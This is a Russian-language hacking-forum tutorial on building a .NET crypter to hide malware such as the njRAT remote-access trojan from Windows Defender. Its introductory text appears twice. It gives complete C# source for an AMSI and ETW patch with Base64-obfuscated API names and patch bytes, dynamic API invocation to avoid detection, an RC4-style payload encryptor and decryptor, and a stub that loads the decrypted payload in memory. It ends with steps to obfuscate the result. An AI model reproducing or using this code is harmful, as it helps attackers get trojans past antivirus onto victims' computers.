Привет всем форумчанам
Сегодня я вам покажу простенький крипт на C# для ознакомления с криптом, на практике данный крипт убьет лишь детекты на скантайме и обойдет Windows Defender 10
Для начала разберем крипторы на .Net и как они работают
Есть крипторы нескольких типов: плохие и хорошие
разберем крипторы плохого качества, которые часто используют на Github и школьники с их njrat и тд.
Как же они работают ?
Очень просто мы берем наш грязный файл и пихаем его в ресурсы/массив/string да во все что угодно где будут они храниться в зашифрованом виде чтобы антивирусы не ругались на грязь которая до этого там была
После чего мы данные байты расшифровываем и пихаем в память любым способом: рефлексия/runpe/loadpe но не в коем случае не записываем его на диск или в папку это уже будет не крипт.
Теперь рассмотрим крипторы хорошего качества
Данные крипторы пишуться вручную либо с исходников и они не как не шифруют наш файл, а напрямую лезут в функции внутри кода и переделывают их и зашифровывают в память. Для этого нам нужен своя виртуальная машина и обфускатор с мутациями и дефолтной обфой
Как же оно работает ?
Есть функция в крипторе такая как мутация
Допустим у нас есть некий код который допустим вызывает Random.Next
Мутация же заменяет данный вызов функций на точно такую же но написанную вручную или же может заменять некоторые op'коды на такие же которые выполняют одну и ту же функцию тем самым код уже другой но функционал тот же.
Теперь разберем виртуальную машину и что это ?
Виртуальная машина это наш велосипед который вручную выполняет все действия опкодов которые мы записали в нашу виртуальную машину.
Виртуальная машина состоит из двух элементов это Runtime и файл который разбирает функции и шифрует опкоды и их значение в байты.
В рантайме происходит вся магия, допустим у нас в методе есть оп код: Call Method1()
после чего мы зашифровали его в массив и заменили код функций на вызов точки входа в нашу функцию расшифровки и запуска рантайма.
Наша машина после дешифровки проходиться по байтам и по заданным инструкциям выполняет код
и когда чтение функций доходит до нашего Call Method1() она вызывает вручную тот самый метод
тем самым все функции зашифрованы и если чекнуть через dnspy мы можем увидеть только то что наш метод вызывает другой метод который уже и запускает рантайм с нашим велосипедом который дешифрует метод и выполняет его опкоды.
Теперь мы выяснили чем отличается плохое от хорошего
Чтобы написать нормальный крипт уйдет уйму времени, поэтому я напишу самый нормальный крипт, который спасет только от скантайма и рантайма дефендера при хорошей обфе без детекта на дефендере в виде Вакатака и прочей херни.
Для начало напишем так называемый Stub (шаблон)
Данный код отвечает за хук функций в amsi.dll для обхода детекта в рантайме, когда мы будем загружать наш файл через рефлексию
если этого не сделать то любой Windows Defender вытрахает файл при первом же запуске
особо не будем вдаваться в подробности того как работает Amsi Bypass объясню поверхностно
у нас есть некая dll которая инжектится в модули при запуске файла если включен defender
и хукает все методы и видит каждое движение на коде что мы запускаем и тд.
данный код заменяет байты функций которая отвечает за детект этой самой dll на предоставленные
В коде есть DInvokeCore который сам подгружает методы из модулей чтобы не использовать DLLIMPORT который может повесить нам детект
Данный код и будет отвечать за подгрузку нашего файла из ресурсов, расшифровку и запуск
Я сделал несколько методов так называемых прокси, под обфой поможет уменьшить детекты.
Properties.Resource1.pmtcdnq5 это наш зашифрованный файл
и чтоб нам его получить необходимо написать прогу которая как раз зашифрует файли того же njrat, который уже устарел
её особо разбирать не буду так как тут и так интуитивно понятно
После компиляций перекидываем на скомпилированный файл на njrat и он выдает нам файл с рандомным названием
После чего мы идем в проект с нашим Стабом где в Properties создаем файл ресурсов Resource1
Ззатем открываем этот самый файл Resource1 и переносим наш файл с рандомным названием (зашифрованый)
После чего в Stub -> Program меняем в Properties.Resource1.pmtcdnq5 на Properties.Resource1.(название нашего файла без скобок)
И компилируем, затем закидываем на любой бесплатный обфускатор .Net (пример https://appfuscator.com)
После мы получаем уже криптованный и обфусцированный файл готовый к запуску
Сегодня я вам покажу простенький крипт на C# для ознакомления с криптом, на практике данный крипт убьет лишь детекты на скантайме и обойдет Windows Defender 10
Для начала разберем крипторы на .Net и как они работают
Есть крипторы нескольких типов: плохие и хорошие
разберем крипторы плохого качества, которые часто используют на Github и школьники с их njrat и тд.
Как же они работают ?
Очень просто мы берем наш грязный файл и пихаем его в ресурсы/массив/string да во все что угодно где будут они храниться в зашифрованом виде чтобы антивирусы не ругались на грязь которая до этого там была
После чего мы данные байты расшифровываем и пихаем в память любым способом: рефлексия/runpe/loadpe но не в коем случае не записываем его на диск или в папку это уже будет не крипт.
Теперь рассмотрим крипторы хорошего качества
Данные крипторы пишуться вручную либо с исходников и они не как не шифруют наш файл, а напрямую лезут в функции внутри кода и переделывают их и зашифровывают в память. Для этого нам нужен своя виртуальная машина и обфускатор с мутациями и дефолтной обфой
Как же оно работает ?
Есть функция в крипторе такая как мутация
Допустим у нас есть некий код который допустим вызывает Random.Next
Мутация же заменяет данный вызов функций на точно такую же но написанную вручную или же может заменять некоторые op'коды на такие же которые выполняют одну и ту же функцию тем самым код уже другой но функционал тот же.
Теперь разберем виртуальную машину и что это ?
Виртуальная машина это наш велосипед который вручную выполняет все действия опкодов которые мы записали в нашу виртуальную машину.
Виртуальная машина состоит из двух элементов это Runtime и файл который разбирает функции и шифрует опкоды и их значение в байты.
В рантайме происходит вся магия, допустим у нас в методе есть оп код: Call Method1()
после чего мы зашифровали его в массив и заменили код функций на вызов точки входа в нашу функцию расшифровки и запуска рантайма.
Наша машина после дешифровки проходиться по байтам и по заданным инструкциям выполняет код
и когда чтение функций доходит до нашего Call Method1() она вызывает вручную тот самый метод
тем самым все функции зашифрованы и если чекнуть через dnspy мы можем увидеть только то что наш метод вызывает другой метод который уже и запускает рантайм с нашим велосипедом который дешифрует метод и выполняет его опкоды.
Теперь мы выяснили чем отличается плохое от хорошего
Чтобы написать нормальный крипт уйдет уйму времени, поэтому я напишу самый нормальный крипт, который спасет только от скантайма и рантайма дефендера при хорошей обфе без детекта на дефендере в виде Вакатака и прочей херни.
Для начало напишем так называемый Stub (шаблон)
C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
namespace betaCrypt
{
internal class AsmiAndETW
{
private static void PatchAmsi(byte[] patch)
{
string dll = Methods.Base64("Y-W-1za-S5k-bG-w=".Replace("-", ""));
bool asmiinit = false;
foreach (ProcessModule CurrentModule in (Process.GetCurrentProcess().Modules))
{
if (CurrentModule.ModuleName == dll)
{
PatchMem(patch, dll, Methods.Base64("Q-W-1za-VN-jYW-5Cd-WZ-mZX-I=".Replace("-", "")));
asmiinit = true;
}
}
if (!asmiinit) //pidoras init only Invoke next init asmi.dll if not search module
{
try
{
Assembly loader = Assembly.Load(new byte[] { 1, 2, 3 });
loader.EntryPoint.Invoke(null, null); //ليس لديك أي شيء لتفعله؟
}
catch { }
foreach (ProcessModule CurrentModule in (Process.GetCurrentProcess().Modules))
{
if (CurrentModule.ModuleName == dll)
{
PatchMem(patch, dll, Methods.Base64("Q-W1-zaV-Nj-YW-5Cd-WZ-mZ-XI-=".Replace("-", "")));
asmiinit = true;
}
}
}
}
private static void PatchETW(byte[] Patch)
{
PatchMem(Patch, Methods.Base64("bnRkbGwuZGxs".Replace("-", "")), Methods.Base64("R-XR-3RX-Z-lbnR-Xcm-l0ZQ==".Replace("-", "")));
}
private static void PatchMem(byte[] patch, string library, string function)
{
try
{
IntPtr CurrentProcessHandle = new IntPtr(-1); // pseudo-handle for current process handle
IntPtr libPtr = (Process.GetCurrentProcess().Modules.Cast<ProcessModule>().Where(x => library.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress);
IntPtr funcPtr = DInvokeCore.GetExportAddress(libPtr, function);
IntPtr patchLength = new IntPtr(patch.Length);
UInt32 oldProtect = 0;
DllImport.NtProtectVirtualMemory(CurrentProcessHandle, ref funcPtr, ref patchLength, 0x40, ref oldProtect);
Marshal.Copy(patch, 0, funcPtr, patch.Length);
}
catch
{
}
}
public static byte[] x64_etw_patch = new byte[] { 0x48, 0x33, 0xC0, 0xC3 };
public static byte[] x86_etw_patch = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };
public static byte[] x64_am_si_patch = new byte[] { 0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, 0xb8, 0x32, 0x00, 0xb0, 0x57, 0xc3 };
public static byte[] x86_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
public static void Bypass()
{
try
{
if (IntPtr.Size != 4)
{
PatchAmsi(x64_am_si_patch);
PatchETW(x64_etw_patch);
}
else
{
PatchAmsi(x86_am_si_patch);
PatchETW(x86_etw_patch);
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
}
public class Delegates
{
public delegate UInt32 gdfudsin8shd2(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect, ref UInt32 OldProtect); //NtProtectVirtualMemory
}
public static class DllImport
{
public enum EXECUTION_STATE : uint
{
ES_CONTINUOUS = 0x80000000,
ES_DISPLAY_REQUIRED = 0x00000002,
ES_SYSTEM_REQUIRED = 0x00000001
}
public static bool NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect, ref UInt32 OldProtect)
{
OldProtect = 0;
object[] funcargs = { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect };
uint retValue = (uint)DInvokeCore.DynamicAPIInvoke(Methods.Base64("b-nRk-bG-wuZ-Gxs".Replace("-", "")), Methods.Base64("TnRQc-m90Z-WN0V-mlydH-VhbE1l-bW9y-eQ=-=".Replace("-", "")), typeof(Delegates.gdfudsin8shd2), ref funcargs);
if (retValue != 0x00000000)
{
return false;
}
OldProtect = (UInt32)funcargs[4];
return true;
}
}
public class DInvokeCore
{
#region Core
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName);
}
IntPtr lastOutput = GetExportAddress(hModule, FunctionName);
return lastOutput;
}
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
Process CurrentProcess = Process.GetCurrentProcess();
foreach (ProcessModule Module in CurrentProcess.Modules)
{
if (string.Compare(Module.ModuleName, DLLName, true) == 0)
{
IntPtr ModuleBasePointer = Module.BaseAddress;
return ModuleBasePointer;
}
}
return IntPtr.Zero;
}
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
throw new Exception();
}
if (FunctionPtr == IntPtr.Zero)
{
throw new Exception(ExportName);
}
return FunctionPtr;
}
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
if (pFunction == IntPtr.Zero)
{
throw new Exception();
}
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
#endregion
}
}
Данный код отвечает за хук функций в amsi.dll для обхода детекта в рантайме, когда мы будем загружать наш файл через рефлексию
если этого не сделать то любой Windows Defender вытрахает файл при первом же запуске
особо не будем вдаваться в подробности того как работает Amsi Bypass объясню поверхностно
у нас есть некая dll которая инжектится в модули при запуске файла если включен defender
и хукает все методы и видит каждое движение на коде что мы запускаем и тд.
данный код заменяет байты функций которая отвечает за детект этой самой dll на предоставленные
В коде есть DInvokeCore который сам подгружает методы из модулей чтобы не использовать DLLIMPORT который может повесить нам детект
C#:
public static byte[] x64_etw_patch = new byte[] { 0x48, 0x33, 0xC0, 0xC3 };
public static byte[] x86_etw_patch = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };
public static byte[] x64_am_si_patch = new byte[] { 0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, 0xb8, 0x32, 0x00, 0xb0, 0x57, 0xc3 };
public static byte[] x86_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
Код:
internal class Methods
{
public static string Base64(string input)
{
return Encoding.ASCII.GetString(Convert.FromBase64String(input));
}
}
C#:
internal class Xor
{
public static byte[] DecodEncod(byte[] data, byte[] key)
{
int[] numArray1 = new int[256];
for (int index = 0; index < 256; ++index)
numArray1[index] = index;
int[] dst = new int[256];
if (key.Length == 256)
{
Buffer.BlockCopy((Array)key, 0, (Array)dst, 0, key.Length);
}
else
{
for (int index = 0; index < 256; ++index)
dst[index] = (int)key[index % key.Length];
}
int index1 = 0;
for (int index2 = 0; index2 < 256; ++index2)
{
index1 = (index1 + numArray1[index2] + dst[index2]) % 256;
int num = numArray1[index2];
numArray1[index2] = numArray1[index1];
numArray1[index1] = num;
}
int index3;
int index4 = index3 = 0;
byte[] numArray2 = new byte[data.Length];
for (int index5 = 0; index5 < data.Length; ++index5)
{
index4 = (index4 + 1) % 256;
index3 = (index3 + numArray1[index4]) % 256;
int num1 = numArray1[index4];
numArray1[index4] = numArray1[index3];
numArray1[index3] = num1;
int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256];
numArray2[index5] = Convert.ToByte((int)data[index5] ^ num2);
}
return numArray2;
}
}
C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
namespace XyetaCrypt
{
internal class Program
{
static void Main(string[] args)
{
AsmiAndETW.Bypass();
byte[] decrypt = Xor.DecodEncod(Properties.Resource1.pmtcdnq5, Convert.FromBase64String("B-Q-UG-B-gMD-Ig-=-=".Replace("-",""))); //key 5, 5, 6, 6, 3, 3, 34
R(decrypt);
}
public static void R(byte[] bytes)
{
R1(bytes);
}
public static void R1(byte[] bytes)
{
R2(bytes);
}
public static void R2(byte[] bytes)
{
R3(bytes);
}
public static void R3(byte[] bytes)
{
Run(bytes);
}
public static void Run(byte[] bytes)
{
Assembly assembly = Assembly.Load(bytes);
Run1(assembly);
}
public static void Run1(Assembly assembly)
{
assembly.EntryPoint.Invoke(null, null);
}
}
}
Данный код и будет отвечать за подгрузку нашего файла из ресурсов, расшифровку и запуск
Я сделал несколько методов так называемых прокси, под обфой поможет уменьшить детекты.
Properties.Resource1.pmtcdnq5 это наш зашифрованный файл
и чтоб нам его получить необходимо написать прогу которая как раз зашифрует файли того же njrat, который уже устарел
её особо разбирать не буду так как тут и так интуитивно понятно
C#:
using System;
using System.IO;
namespace Crypt
{
internal class Program
{
static void Main(string[] args)
{
File.WriteAllBytes(Path.GetRandomFileName(), Xor.DecodEncod(File.ReadAllBytes(args[0]), new byte[] { 5, 5, 6, 6, 3, 3, 34 }));
Console.ReadKey();
}
}
internal class Xor
{
public static byte[] DecodEncod(byte[] data, byte[] key)
{
int[] numArray1 = new int[256];
for (int index = 0; index < 256; ++index)
numArray1[index] = index;
int[] dst = new int[256];
if (key.Length == 256)
{
Buffer.BlockCopy((Array)key, 0, (Array)dst, 0, key.Length);
}
else
{
for (int index = 0; index < 256; ++index)
dst[index] = (int)key[index % key.Length];
}
int index1 = 0;
for (int index2 = 0; index2 < 256; ++index2)
{
index1 = (index1 + numArray1[index2] + dst[index2]) % 256;
int num = numArray1[index2];
numArray1[index2] = numArray1[index1];
numArray1[index1] = num;
}
int index3;
int index4 = index3 = 0;
byte[] numArray2 = new byte[data.Length];
for (int index5 = 0; index5 < data.Length; ++index5)
{
index4 = (index4 + 1) % 256;
index3 = (index3 + numArray1[index4]) % 256;
int num1 = numArray1[index4];
numArray1[index4] = numArray1[index3];
numArray1[index3] = num1;
int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256];
numArray2[index5] = Convert.ToByte((int)data[index5] ^ num2);
}
return numArray2;
}
}
}
После компиляций перекидываем на скомпилированный файл на njrat и он выдает нам файл с рандомным названием
После чего мы идем в проект с нашим Стабом где в Properties создаем файл ресурсов Resource1
Ззатем открываем этот самый файл Resource1 и переносим наш файл с рандомным названием (зашифрованый)
После чего в Stub -> Program меняем в Properties.Resource1.pmtcdnq5 на Properties.Resource1.(название нашего файла без скобок)
И компилируем, затем закидываем на любой бесплатный обфускатор .Net (пример https://appfuscator.com)
После мы получаем уже криптованный и обфусцированный файл готовый к запуску